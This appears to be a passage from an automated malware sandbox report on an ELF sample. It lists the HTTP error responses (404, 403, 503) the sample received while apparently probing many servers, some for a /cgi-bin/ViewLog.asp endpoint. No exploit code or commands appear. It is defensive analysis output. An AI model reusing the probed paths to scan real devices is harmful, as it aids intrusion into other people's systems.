    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 06:21:52 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 Forbidden
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:22:47 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:21:50 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:22:49 GMTConnection: Close
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:22:49 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:22:54 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:23:01 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 393Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: must-revalidate,no-cache,no-storeContent-Disposition: inline;filename=f.txtContent-Type: application/jsonConnection: closeData Raw: 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 30 30 37 31 33 33 38 31 39 35 34 2c 22 73 74 61 74 75 73 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d Data Ascii: {"timestamp":1700713381954,"status":404,"error":"Not Found","path":"/cgi-bin/ViewLog.asp"}
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Thu, 23 Nov 2023 04:23:01 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:23:02 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 23 Nov 2023 04:25:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 c4 93 53 f3 4a 52 8b ec 6c 32 0c d1 4d 00 8a d8 e8 43 a5 41 76 01 15 41 79 79 e9 99 79 15 fa 86 7a 86 06 7a c6 c8 4a f4 41 96 80 19 50 07 02 00 f8 e7 d5 4a a9 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T*$'*gd*SJRl2MCAvAyyyzzJAPJ0
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 989Date: Thu, 23 Nov 2023 04:23:12 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 34 32 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 6
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:23:03 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 23 Nov 2023 04:23:05 GMTConnection: closeContent-Length: 326Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:23:06 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 23 Nov 2023 04:23:08 GMTConnection: closeContent-Length: 326Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:37:43 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveContent-Length: 74Content-Type: text/htmlDate: Thu, 23 Nov 2023 04:23:10 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Error</title></head><body>404 - Not Found</body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.8.1Date: Thu, 23 Nov 2023 04:23:15 GMTContent-Type: text/htmlContent-Length: 168Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.1</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundReferrer-Policy: no-referrerServer: thttpdContent-Type: text/html; charset=utf-8Date: Thu, 23 Nov 2023 04:23:15 GMTLast-Modified: Thu, 23 Nov 2023 04:23:15 GMTAccept-Ranges: bytesConnection: closeCache-Control: no-cache,no-storeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 22 3e 0a 09 09 3c 73 70 61 6e 3e 0a 09 09 09 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 66 6f 75 6e 64 0a 09 09 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 68 31 3e 0a 20 20 20 20 3c 70 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 32 30 70 78 3b 22 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 0a 20 20 20 20 20 3c 2f 70 3e 0a 09 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <html><head></head><body><h1 style="text-align: center; height: 150px"><span>Error 404 Not found</span> </h1> <p style="text-align:center; font-size: 16px; font-weight: 400; padding: 10px 20px;"> The requested URL was not found on this server </p><div style="text-align: center;"><a href="/">Home</a></div></body></html><HR></BODY></HTML>
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: ehzGeYz3RM.elf, 5511.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5514.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5633.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5665.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5639.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5516.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5647.1.00007fc740017000.00007fc74002d000.r-x.sdmp, ehzGeYz3RM.elf, 5522.1.00007fc740017000.00007fc74002d000.r-x.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
